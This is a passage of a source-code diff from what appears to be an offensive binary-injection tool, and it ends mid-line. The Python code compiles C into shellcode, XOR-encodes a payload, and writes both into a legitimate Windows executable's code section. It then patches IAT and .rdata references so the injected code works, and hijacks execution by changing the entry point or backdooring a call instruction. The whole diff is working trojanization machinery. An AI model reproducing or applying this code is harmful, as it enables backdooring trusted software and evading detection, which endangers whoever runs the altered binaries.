new_line = bytes_to_asm_db(placeholder) + " ; IAT Reuse for {}".format(func_name)
|
||||||
lines_out.append(new_line)
|
lines_out.append(new_line)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -125,7 +98,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
|||||||
if line.startswith("$SG"):
|
if line.startswith("$SG"):
|
||||||
# fuck me. if we start a new definition, and have an old one, add the old one...
|
# fuck me. if we start a new definition, and have an old one, add the old one...
|
||||||
if current_datareuse_entry != None:
|
if current_datareuse_entry != None:
|
||||||
carrier.add_datareuse_fixup(current_datareuse_entry)
|
injectable.add_datareuse_fixup(current_datareuse_entry)
|
||||||
current_datareuse_entry = None # reset it here
|
current_datareuse_entry = None # reset it here
|
||||||
|
|
||||||
var_name = tokens[0]
|
var_name = tokens[0]
|
||||||
@@ -142,7 +115,7 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
|||||||
continue
|
continue
|
||||||
if current_datareuse_entry != None:
|
if current_datareuse_entry != None:
|
||||||
# when we reach here, $SG with its DB should be done.
|
# when we reach here, $SG with its DB should be done.
|
||||||
carrier.add_datareuse_fixup(current_datareuse_entry)
|
injectable.add_datareuse_fixup(current_datareuse_entry)
|
||||||
current_datareuse_entry = None # reset it here
|
current_datareuse_entry = None # reset it here
|
||||||
|
|
||||||
# PATCH data reuse code (data from C)
|
# PATCH data reuse code (data from C)
|
||||||
@@ -152,17 +125,15 @@ def parse_asm_text_file(carrier: Carrier, asm_text: str, settings: Settings) ->
|
|||||||
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
|
## DB 07cH, 04cH, 028H, 0b0H, 006H, 07eH ; IAT Reuse for GetEnvironmentVariableW
|
||||||
if "OFFSET FLAT:$SG" in line:
|
if "OFFSET FLAT:$SG" in line:
|
||||||
string_ref = line.split("OFFSET FLAT:")[1]
|
string_ref = line.split("OFFSET FLAT:")[1]
|
||||||
register = line.split("lea\t")[1].split(",")[0]
|
datareuse_fixup = injectable.get_reusedata_fixup(string_ref)
|
||||||
randbytes: bytes = os.urandom(7)
|
|
||||||
|
|
||||||
datareuse_fixup = carrier.get_reusedata_fixup(string_ref)
|
|
||||||
if datareuse_fixup == None:
|
if datareuse_fixup == None:
|
||||||
raise("Data reuse entry not found: {}".format(string_ref))
|
raise("Data reuse entry not found: {}".format(string_ref))
|
||||||
|
|
||||||
datareuse_fixup.register = register
|
register = line.split("lea\t")[1].split(",")[0]
|
||||||
datareuse_fixup.randbytes = randbytes
|
placeholder: bytes = os.urandom(7)
|
||||||
|
datareuse_fixup.add_reference(placeholder, register)
|
||||||
|
|
||||||
line = bytes_to_asm_db(randbytes) + " ; .rdata Reuse for {} ({})".format(
|
line = bytes_to_asm_db(placeholder) + " ; .rdata Reuse for {} ({})".format(
|
||||||
string_ref, register)
|
string_ref, register)
|
||||||
lines_out.append(line)
|
lines_out.append(line)
|
||||||
continue
|
continue
|
||||||
|
|||||||
+8
-21
@@ -11,7 +11,7 @@ logger = logging.getLogger("Assembler")
|
|||||||
|
|
||||||
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
|
def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
|
||||||
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
|
"""Takes ASM source file asm_in, compiles it into build_exe, extracts its code section and write into shellcode_out"""
|
||||||
logger.info("--[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
|
logger.info("-[ Assemble to exe: {} -> {}".format(asm_in, build_exe))
|
||||||
run_process_checkret([
|
run_process_checkret([
|
||||||
config.get("path_ml64"),
|
config.get("path_ml64"),
|
||||||
asm_in,
|
asm_in,
|
||||||
@@ -25,33 +25,20 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath) -> bytes:
|
|||||||
return code
|
return code
|
||||||
|
|
||||||
|
|
||||||
def merge_loader_payload(
|
def encode_payload(payload: bytes, decoder_style: str) -> bytes:
|
||||||
shellcode_in: bytes,
|
if decoder_style == "plain":
|
||||||
payload_data: bytes,
|
return bytes(payload)
|
||||||
decoder_style: DecoderStyle
|
elif decoder_style == "xor_1":
|
||||||
) -> bytes:
|
|
||||||
payload_data = encode_payload(payload_data, decoder_style)
|
|
||||||
|
|
||||||
logger.info("---[ Size: Carrier: {} and Payload: {} Sum: {} ".format(
|
|
||||||
len(shellcode_in), len(payload_data), len(shellcode_in)+len(payload_data)))
|
|
||||||
|
|
||||||
return shellcode_in + payload_data
|
|
||||||
|
|
||||||
|
|
||||||
def encode_payload(payload: bytes, decoder_style: DecoderStyle) -> bytes:
|
|
||||||
if decoder_style == DecoderStyle.PLAIN_1:
|
|
||||||
return payload
|
|
||||||
elif decoder_style == DecoderStyle.XOR_1:
|
|
||||||
xor_key = config.xor_key
|
xor_key = config.xor_key
|
||||||
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
|
logger.info("---[ XOR payload with key 0x{:X}".format(xor_key))
|
||||||
xored = bytes([byte ^ xor_key for byte in payload])
|
xored = bytes([byte ^ xor_key for byte in payload])
|
||||||
return xored
|
return bytes(xored)
|
||||||
elif decoder_style == DecoderStyle.XOR_2:
|
elif decoder_style == "xor_2":
|
||||||
xor_key = config.xor_key2
|
xor_key = config.xor_key2
|
||||||
logger.info("---[ XOR2 payload with key {}".format(xor_key))
|
logger.info("---[ XOR2 payload with key {}".format(xor_key))
|
||||||
xored = bytearray(payload)
|
xored = bytearray(payload)
|
||||||
for i in range(len(xored)):
|
for i in range(len(xored)):
|
||||||
xored[i] ^= xor_key[i % 2]
|
xored[i] ^= xor_key[i % 2]
|
||||||
return xored
|
return bytes(xored)
|
||||||
else:
|
else:
|
||||||
raise Exception("Unknown decoder style")
|
raise Exception("Unknown decoder style")
|
||||||
|
|||||||
+5
-5
@@ -9,7 +9,7 @@ from config import config
|
|||||||
from observer import observer
|
from observer import observer
|
||||||
from model import *
|
from model import *
|
||||||
from phases.masmshc import masm_shc, Params
|
from phases.masmshc import masm_shc, Params
|
||||||
from model.carrier import Carrier
|
from model.injectable import Injectable
|
||||||
from phases.asmtextparser import parse_asm_text_file
|
from phases.asmtextparser import parse_asm_text_file
|
||||||
from model.settings import Settings
|
from model.settings import Settings
|
||||||
|
|
||||||
@@ -22,7 +22,7 @@ def compile_dev(
|
|||||||
asm_out: FilePath,
|
asm_out: FilePath,
|
||||||
short_call_patching: bool = False,
|
short_call_patching: bool = False,
|
||||||
):
|
):
|
||||||
logger.info("--( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
logger.info("-( Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
||||||
|
|
||||||
# Compile C To Assembly (text)
|
# Compile C To Assembly (text)
|
||||||
run_process_checkret([
|
run_process_checkret([
|
||||||
@@ -51,10 +51,10 @@ def compile_dev(
|
|||||||
def compile(
|
def compile(
|
||||||
c_in: FilePath,
|
c_in: FilePath,
|
||||||
asm_out: FilePath,
|
asm_out: FilePath,
|
||||||
carrier: Carrier,
|
injectable: Injectable,
|
||||||
settings: Settings,
|
settings: Settings,
|
||||||
):
|
):
|
||||||
logger.info("--[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
logger.info("-[ Compile C to ASM: {} -> {} ".format(c_in, asm_out))
|
||||||
|
|
||||||
# Compile C To Assembly (text)
|
# Compile C To Assembly (text)
|
||||||
run_process_checkret([
|
run_process_checkret([
|
||||||
@@ -70,7 +70,7 @@ def compile(
|
|||||||
asm_text = file_readall_text(asm_out)
|
asm_text = file_readall_text(asm_out)
|
||||||
observer.add_text_file("carrier_asm_orig", asm_text)
|
observer.add_text_file("carrier_asm_orig", asm_text)
|
||||||
|
|
||||||
asm_text_lines = parse_asm_text_file(carrier, asm_text, settings) # Fixup assembly file
|
asm_text_lines = parse_asm_text_file(injectable, asm_text, settings) # Fixup assembly file
|
||||||
asm_text = masm_shc(asm_text_lines) # Cleanup assembly file
|
asm_text = masm_shc(asm_text_lines) # Cleanup assembly file
|
||||||
observer.add_text_file("carrier_asm_final", asm_text)
|
observer.add_text_file("carrier_asm_final", asm_text)
|
||||||
|
|
||||||
|
|||||||
+177
-138
@@ -4,236 +4,277 @@ import time
|
|||||||
import logging
|
import logging
|
||||||
from typing import Dict, List
|
from typing import Dict, List
|
||||||
|
|
||||||
from model.carrier import Carrier, DataReuseEntry
|
from model.injectable import Injectable, DataReuseEntry, DataReuseReference
|
||||||
from pe.pehelper import *
|
from pe.pehelper import *
|
||||||
from observer import observer
|
from observer import observer
|
||||||
from pe.derbackdoorer import FunctionBackdoorer
|
from pe.derbackdoorer import FunctionBackdoorer
|
||||||
from pe.superpe import SuperPe
|
from pe.superpe import SuperPe, PeSection
|
||||||
from model.project import Project
|
from model.project import Project
|
||||||
from model.settings import Settings
|
from model.settings import Settings
|
||||||
from pe.asmdisasm import *
|
from pe.asmdisasm import *
|
||||||
from model.defs import *
|
from model.defs import *
|
||||||
|
from model.payload import Payload
|
||||||
|
from model.rangemanager import RangeManager
|
||||||
|
|
||||||
logger = logging.getLogger("Injector")
|
logger = logging.getLogger("Injector")
|
||||||
|
|
||||||
|
|
||||||
def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
|
class Injector():
|
||||||
exe_in = settings.inject_exe_in
|
def __init__(
|
||||||
exe_out = settings.inject_exe_out
|
self,
|
||||||
carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
|
carrier_shc: bytes,
|
||||||
|
payload: Payload,
|
||||||
logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out))
|
injectable: Injectable,
|
||||||
|
settings: Settings):
|
||||||
# CHECK if shellcode fits into the target code section
|
self.carrier_shc = carrier_shc
|
||||||
shellcode_len = len(main_shc)
|
self.settings = settings
|
||||||
code_sect_size = carrier.superpe.get_code_section().Misc_VirtualSize
|
self.injectable = injectable
|
||||||
if shellcode_len + CODE_INJECT_SIZE_CHECK_ADD > code_sect_size:
|
self.payload = payload
|
||||||
raise Exception("Error: Shellcode size {}+{} too big for target code section {}".format(
|
|
||||||
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, code_sect_size
|
|
||||||
))
|
|
||||||
|
|
||||||
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
# superpe is a representation of the exe file. We gonna modify it, and save it at the end.
|
||||||
superpe = SuperPe(exe_in)
|
# reuse from injectable
|
||||||
function_backdoorer = FunctionBackdoorer(superpe)
|
#self.superpe = SuperPe(settings.inject_exe_in)
|
||||||
|
self.superpe = injectable.superpe
|
||||||
|
self.function_backdoorer = FunctionBackdoorer(self.superpe)
|
||||||
|
|
||||||
|
# to find space for carrier and payload
|
||||||
|
# for some combination of settings HACK
|
||||||
|
self.payload_rva = None
|
||||||
|
self.carrier_rva = None
|
||||||
|
self.init_addresses()
|
||||||
|
|
||||||
|
|
||||||
|
def init_addresses(self):
|
||||||
|
rm = self.superpe.get_code_rangemanager()
|
||||||
|
|
||||||
|
# TECHNIQUE0:
|
||||||
|
# assume payload is big, find a place for it, then prepend carrier (small)
|
||||||
|
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096
|
||||||
|
|
||||||
|
largest_gap = rm.find_holes(complete_size)
|
||||||
|
if len(largest_gap) == 0:
|
||||||
|
raise Exception('No hole found in code section to fit payload!')
|
||||||
|
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
|
||||||
|
|
||||||
|
# align to center
|
||||||
|
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
|
||||||
|
offset += largest_gap[0][0]
|
||||||
|
|
||||||
|
if self.settings.carrier_name == "dll_loader_change":
|
||||||
|
# Align to page size
|
||||||
|
offset = offset & 0xFFFFF000
|
||||||
|
|
||||||
|
# page aligned possibly
|
||||||
|
self.payload_rva = offset
|
||||||
|
|
||||||
|
# prepend it a bit
|
||||||
|
self.carrier_rva = offset - len(self.payload.payload_data) - 4096
|
||||||
|
|
||||||
|
|
||||||
|
## Inject
|
||||||
|
|
||||||
|
def inject_exe(self):
|
||||||
|
exe_in = self.settings.inject_exe_in
|
||||||
|
exe_out = self.settings.inject_exe_out
|
||||||
|
carrier_invoke_style: CarrierInvokeStyle = self.settings.carrier_invoke_style
|
||||||
|
|
||||||
|
logger.info("-[ Injecting: into {} -> {}".format(exe_in, exe_out))
|
||||||
|
|
||||||
# Patch IAT (if necessary and wanted)
|
# Patch IAT (if necessary and wanted)
|
||||||
for iatRequest in carrier.get_all_iat_requests():
|
self.injectable_patch_iat()
|
||||||
# skip available
|
|
||||||
addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
|
||||||
if addr != None:
|
|
||||||
logger.info(" IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
|
|
||||||
continue
|
|
||||||
iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
|
||||||
|
|
||||||
if not settings.fix_missing_iat:
|
carrier_shc_len = len(self.carrier_shc)
|
||||||
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
|
carrier_offset: int = 0 # file offset
|
||||||
iatRequest.name
|
|
||||||
))
|
|
||||||
# do the patch
|
|
||||||
superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
|
|
||||||
|
|
||||||
# we modify the IAT raw, so reparsing is required
|
|
||||||
superpe.pe.parse_data_directories()
|
|
||||||
superpe.init_iat_entries()
|
|
||||||
|
|
||||||
shellcode_offset: int = 0 # file offset
|
|
||||||
|
|
||||||
# Special case: DLL exported function direct overwrite
|
# Special case: DLL exported function direct overwrite
|
||||||
if superpe.is_dll() and settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
if self.superpe.is_dll() and self.settings.dllfunc != "" and carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||||
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
|
logger.warning("---[ Inject DLL: Overwrite exported function {} with shellcode".format(settings.dllfunc))
|
||||||
rva = superpe.getExportEntryPoint(settings.dllfunc)
|
rva = self.superpe.getExportEntryPoint(self.settings.dllfunc)
|
||||||
|
|
||||||
# Size and sanity checks
|
# Size and sanity checks
|
||||||
function_size = superpe.get_size_of_exported_function(settings.dllfunc)
|
function_size = self.superpe.get_size_of_exported_function(self.settings.dllfunc)
|
||||||
if shellcode_len >= function_size:
|
if carrier_shc_len >= function_size:
|
||||||
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
|
logger.warning("Shellcode larger than function: {} > {} exported function {}".format(
|
||||||
shellcode_len, function_size, settings.dllfunc
|
carrier_shc_len, function_size, self.settings.dllfunc
|
||||||
))
|
))
|
||||||
|
|
||||||
# Inject
|
# Inject
|
||||||
shellcode_offset = superpe.get_offset_from_rva(rva)
|
carrier_offset = self.superpe.get_offset_from_rva(rva)
|
||||||
logger.info(f'----[ Using DLL Export "{settings.dllfunc}" at RVA 0x{rva:X} offset 0x{shellcode_offset:X} to overwrite')
|
logger.info(f'----[ Using DLL Export "{self.settings.dllfunc}" at RVA 0x{rva:X} offset 0x{carrier_offset:X} to overwrite')
|
||||||
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
|
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
|
||||||
|
|
||||||
else: # EXE/DLL
|
else: # EXE/DLL
|
||||||
# Put it somewhere in the code section, and rewire the flow
|
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
|
||||||
sect = superpe.get_code_section()
|
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
|
||||||
if sect == None:
|
self.carrier_rva, carrier_offset))
|
||||||
raise Exception('Could not find code section in input PE file!')
|
|
||||||
sect_size = sect.Misc_VirtualSize # Better than: SizeOfRawData
|
|
||||||
if sect_size < shellcode_len + CODE_INJECT_SIZE_CHECK_ADD:
|
|
||||||
raise Exception("Shellcode too large: {}+{} > {}".format(
|
|
||||||
shellcode_len, CODE_INJECT_SIZE_CHECK_ADD, sect_size
|
|
||||||
))
|
|
||||||
shellcode_offset = int((sect_size - shellcode_len) / 2) # centered in the .text section
|
|
||||||
#shellcode_offset = round_up_to_multiple_of_8(shellcode_offset)
|
|
||||||
shellcode_offset += sect.PointerToRawData
|
|
||||||
shellcode_rva = superpe.pe.get_rva_from_offset(shellcode_offset)
|
|
||||||
|
|
||||||
logger.info("---( Inject: Write Shellcode to offset:0x{:X} (rva:0x{:X})".format(
|
# Copy the carrier
|
||||||
shellcode_offset, shellcode_rva))
|
self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc)
|
||||||
|
|
||||||
# Copy the shellcode
|
# rewire flow to the carrier
|
||||||
superpe.pe.set_bytes_at_offset(shellcode_offset, main_shc)
|
if self.superpe.is_dll() and self.settings.dllfunc != "": # DLL
|
||||||
|
|
||||||
# rewire flow
|
|
||||||
if superpe.is_dll() and settings.dllfunc != "": # DLL
|
|
||||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||||
# Handled above
|
# Handled above
|
||||||
raise Exception("We should not land here")
|
raise Exception("We should not land here")
|
||||||
|
|
||||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||||
addr = superpe.getExportEntryPoint(settings.dllfunc)
|
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
|
||||||
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
|
logger.info("---( Inject DLL: Backdoor {} (0x{:X})".format(
|
||||||
settings.dllfunc, addr))
|
self.settings.dllfunc, addr))
|
||||||
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
|
self.function_backdoorer.backdoor_function(
|
||||||
|
addr, self.carrier_rva, carrier_shc_len)
|
||||||
|
|
||||||
else: # EXE
|
else: # EXE
|
||||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||||
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
|
logger.info("---( Inject EXE: Change Entry Point to 0x{:X}".format(
|
||||||
shellcode_rva))
|
self.carrier_rva))
|
||||||
superpe.set_entrypoint(shellcode_rva)
|
self.superpe.set_entrypoint(self.carrier_rva)
|
||||||
|
|
||||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||||
addr = superpe.get_entrypoint()
|
addr = self.superpe.get_entrypoint()
|
||||||
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
|
logger.info("---( Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
|
||||||
addr))
|
addr))
|
||||||
function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
|
self.function_backdoorer.backdoor_function(
|
||||||
|
addr, self.carrier_rva, carrier_shc_len)
|
||||||
|
|
||||||
logger.info("--( Fix shellcode to re-use IAT entries")
|
logger.info("--( Fix imports and make carrier reference IAT")
|
||||||
injected_fix_iat(superpe, carrier)
|
self.injectable_write_iat_references()
|
||||||
logger.info("--( Fix shellcode to reference data stored in .rdata")
|
logger.info("--( Insert and reference carrier data")
|
||||||
injected_fix_data(superpe, carrier)
|
self.inject_and_reference_data()
|
||||||
|
|
||||||
# changes from console to UI (no console window) if necessary
|
# changes from console to UI (no console window) if necessary
|
||||||
superpe.patch_subsystem()
|
self.superpe.patch_subsystem()
|
||||||
|
|
||||||
# We done
|
# We done
|
||||||
logger.info("--( Write to file: {}".format(exe_out))
|
logger.info("--( Write to file: {}".format(exe_out))
|
||||||
superpe.write_pe_to_file(exe_out)
|
self.superpe.write_pe_to_file(exe_out)
|
||||||
|
|
||||||
# Log
|
# Log
|
||||||
code = file_readall_binary(exe_out)
|
code = file_readall_binary(exe_out)
|
||||||
in_code = code[shellcode_offset:shellcode_offset+shellcode_len]
|
in_code = code[carrier_offset:carrier_offset+carrier_shc_len]
|
||||||
observer.add_code_file("carrier_exe", in_code)
|
observer.add_code_file("carrier_exe", in_code)
|
||||||
|
|
||||||
|
|
||||||
def injected_fix_iat(superpe: SuperPe, carrier: Carrier):
|
def injectable_patch_iat(self):
|
||||||
|
# Patch IAT (if necessary and wanted)
|
||||||
|
for iatRequest in self.injectable.get_all_iat_requests():
|
||||||
|
# skip available
|
||||||
|
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||||
|
if addr != None:
|
||||||
|
logger.info("---[ Request IAT {} is available at 0x{:X}".format(
|
||||||
|
iatRequest.name, addr))
|
||||||
|
continue
|
||||||
|
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
||||||
|
|
||||||
|
if not self.settings.fix_missing_iat:
|
||||||
|
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
|
||||||
|
iatRequest.name))
|
||||||
|
# do the patch
|
||||||
|
self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
|
||||||
|
#logger.info(" Unavailable IAT {} now patched".format(
|
||||||
|
# iatRequest.name))
|
||||||
|
# we modify the IAT raw, so reparsing is required
|
||||||
|
self.superpe.pe.parse_data_directories()
|
||||||
|
self.superpe.init_iat_entries()
|
||||||
|
|
||||||
|
|
||||||
|
def injectable_write_iat_references(self):
|
||||||
"""replace IAT-placeholders in shellcode with call's to the IAT"""
|
"""replace IAT-placeholders in shellcode with call's to the IAT"""
|
||||||
code = superpe.get_code_section_data()
|
code = self.superpe.get_code_section_data()
|
||||||
for iatRequest in carrier.get_all_iat_requests():
|
for iatRequest in self.injectable.get_all_iat_requests():
|
||||||
if not iatRequest.placeholder in code:
|
for placeholder in iatRequest.references:
|
||||||
raise Exception("IatResolve ID {} not found, abort".format(iatRequest.placeholder))
|
if not placeholder in code:
|
||||||
offset_from_code = code.index(iatRequest.placeholder)
|
raise Exception("IatResolve ID {} not found, abort".format(placeholder))
|
||||||
|
offset_from_code = code.index(placeholder)
|
||||||
|
|
||||||
# Note that the SuperPe may already have been patched for new IAT imports
|
# Note that the SuperPe may already have been patched for new IAT imports
|
||||||
destination_virtual_address = superpe.get_vaddr_of_iatentry(iatRequest.name)
|
destination_virtual_address = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||||
if destination_virtual_address == None:
|
if destination_virtual_address == None:
|
||||||
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
|
raise Exception("IatResolve: Function {} not found".format(iatRequest.name))
|
||||||
|
|
||||||
instruction_virtual_address = offset_from_code + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
instruction_virtual_address = offset_from_code + self.injectable.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
|
||||||
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X}".format(
|
logger.info(" Replace {} at VA 0x{:X} with: call to IAT at VA 0x{:X} ({})".format(
|
||||||
iatRequest.placeholder.hex(), instruction_virtual_address, destination_virtual_address
|
placeholder.hex(),
|
||||||
|
instruction_virtual_address,
|
||||||
|
destination_virtual_address,
|
||||||
|
iatRequest.name
|
||||||
))
|
))
|
||||||
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
|
jmp = assemble_relative_call(instruction_virtual_address, destination_virtual_address)
|
||||||
if len(jmp) != len(iatRequest.placeholder):
|
if len(jmp) != len(placeholder):
|
||||||
raise Exception("IatResolve: Call to IAT has different length than placeholder, abort")
|
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
|
||||||
code = code.replace(iatRequest.placeholder, jmp)
|
len(jmp), len(placeholder)
|
||||||
|
))
|
||||||
|
code = code.replace(placeholder, jmp)
|
||||||
|
|
||||||
superpe.write_code_section_data(code)
|
self.superpe.write_code_section_data(code)
|
||||||
|
|
||||||
|
|
||||||
def injected_fix_data(superpe: SuperPe, carrier: Carrier):
|
def inject_and_reference_data(self):
|
||||||
"""Inject shellcode-data into .rdata and replace reusedata_fixup placeholders in code with LEA"""
|
"""Inject data into .rdata/.text and replace reusedata_fixup placeholders in code with LEA"""
|
||||||
# Insert my data into the .rdata section.
|
reusedata_fixups: List[DataReuseEntry] = self.injectable.get_all_reusedata_fixups()
|
||||||
# Chose and save each datareuse_fixup's addres.
|
|
||||||
reusedata_fixups: List[DataReuseEntry] = carrier.get_all_reusedata_fixups()
|
|
||||||
if len(reusedata_fixups) == 0:
|
if len(reusedata_fixups) == 0:
|
||||||
# nothing todo
|
# nothing todo
|
||||||
return
|
return
|
||||||
|
|
||||||
# Put stuff into .rdata section in the PE
|
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
|
||||||
peSection = carrier.superpe.get_section_by_name(".rdata")
|
|
||||||
if peSection == None:
|
|
||||||
raise Exception("No .rdata section found, abort")
|
|
||||||
|
|
||||||
rm = carrier.superpe.get_rdata_relocmanager()
|
# insert data
|
||||||
|
logger.info("---( DataReuseFixups: Inject the data")
|
||||||
if True: # FIXME this is a hack which is sometimes necessary
|
|
||||||
sect_data_copy = peSection.pefile_section.get_data()
|
|
||||||
string_off = find_first_utf16_string_offset(sect_data_copy)
|
|
||||||
if string_off == None:
|
|
||||||
raise Exception("Strings not found in .rdata section, abort")
|
|
||||||
if string_off < 128:
|
|
||||||
logging.debug("weird: Strings in .rdata section at offset {} < 100".format(string_off))
|
|
||||||
string_off = 128
|
|
||||||
rm.add_range(peSection.virt_addr, peSection.virt_addr + string_off)
|
|
||||||
|
|
||||||
# Do all .rdata patches
|
|
||||||
logger.info("---( Patch: .rdata")
|
|
||||||
for datareuse_fixup in reusedata_fixups:
|
for datareuse_fixup in reusedata_fixups:
|
||||||
logger.info(" Handling DataReuse Fixup: {} <- {}".format(
|
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
|
||||||
datareuse_fixup.string_ref, datareuse_fixup.randbytes.hex()))
|
datareuse_fixup.string_ref, datareuse_fixup.in_code))
|
||||||
|
|
||||||
|
if datareuse_fixup.in_code: # .text
|
||||||
|
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
|
||||||
|
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
|
||||||
|
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
|
||||||
|
logging.info(" Add to .text at 0x{:X} ({}): {} with size {}".format(
|
||||||
|
datareuse_fixup.addr, payload_rva, datareuse_fixup.string_ref, len(datareuse_fixup.data)))
|
||||||
|
|
||||||
|
else: # .rdata
|
||||||
|
rdata_manager = self.superpe.get_rdata_rangemanager()
|
||||||
# get a hole in the .rdata section to put our data
|
# get a hole in the .rdata section to put our data
|
||||||
hole_rva = rm.find_hole(len(datareuse_fixup.data))
|
hole_rva = rdata_manager.find_hole(len(datareuse_fixup.data))
|
||||||
if hole_rva == None:
|
if hole_rva == None:
|
||||||
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
|
raise Exception("No suitable hole with size {} found in .rdata section, abort".format(
|
||||||
len(datareuse_fixup.data)
|
len(datareuse_fixup.data)
|
||||||
))
|
))
|
||||||
rm.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
|
rdata_manager.add_range(hole_rva[0], hole_rva[1]+1) # mark it as used
|
||||||
|
|
||||||
var_data = datareuse_fixup.data
|
var_data = datareuse_fixup.data
|
||||||
data_rva = hole_rva[0]
|
data_rva = hole_rva[0]
|
||||||
superpe.pe.set_bytes_at_rva(data_rva, var_data)
|
self.superpe.pe.set_bytes_at_rva(data_rva, var_data)
|
||||||
datareuse_fixup.addr = data_rva + carrier.superpe.get_image_base()
|
datareuse_fixup.addr = data_rva + self.injectable.superpe.get_image_base()
|
||||||
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
|
logging.info(" Add to .rdata at 0x{:X} ({}): {}: {}".format(
|
||||||
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
|
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
|
||||||
|
|
||||||
# patch code section
|
# replace the placeholder in .text with a LEA instruction to the data we written above
|
||||||
# replace the placeholder with a LEA instruction to the data we written above
|
logger.info("---( Datareusefixups: patch code to reference the data")
|
||||||
logger.info("---( Patch: .text")
|
code = self.superpe.get_code_section_data()
|
||||||
code = superpe.get_code_section_data()
|
|
||||||
for datareuse_fixup in reusedata_fixups:
|
for datareuse_fixup in reusedata_fixups:
|
||||||
if not datareuse_fixup.randbytes in code:
|
ref: DataReuseReference
|
||||||
|
for ref in datareuse_fixup.references:
|
||||||
|
if not ref.placeholder in code:
|
||||||
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
|
raise Exception("fix data in injectable: DataReuse: ID {} ({}) not found in code section, abort".format(
|
||||||
datareuse_fixup.randbytes.hex(), datareuse_fixup.string_ref))
|
ref.placeholder.hex(), datareuse_fixup.string_ref))
|
||||||
|
|
||||||
offset_from_datasection = code.index(datareuse_fixup.randbytes)
|
offset_from_datasection = code.index(ref.placeholder)
|
||||||
instruction_virtual_address = offset_from_datasection + carrier.superpe.get_image_base() + carrier.superpe.get_code_section().VirtualAddress
|
instruction_virtual_address = offset_from_datasection + self.superpe.get_image_base() + self.superpe.get_code_section().VirtualAddress
|
||||||
destination_virtual_address = datareuse_fixup.addr
|
destination_virtual_address = datareuse_fixup.addr
|
||||||
logger.info(" Replace bytes {} at VA 0x{:X} with: LEA {} .rdata 0x{:X}".format(
|
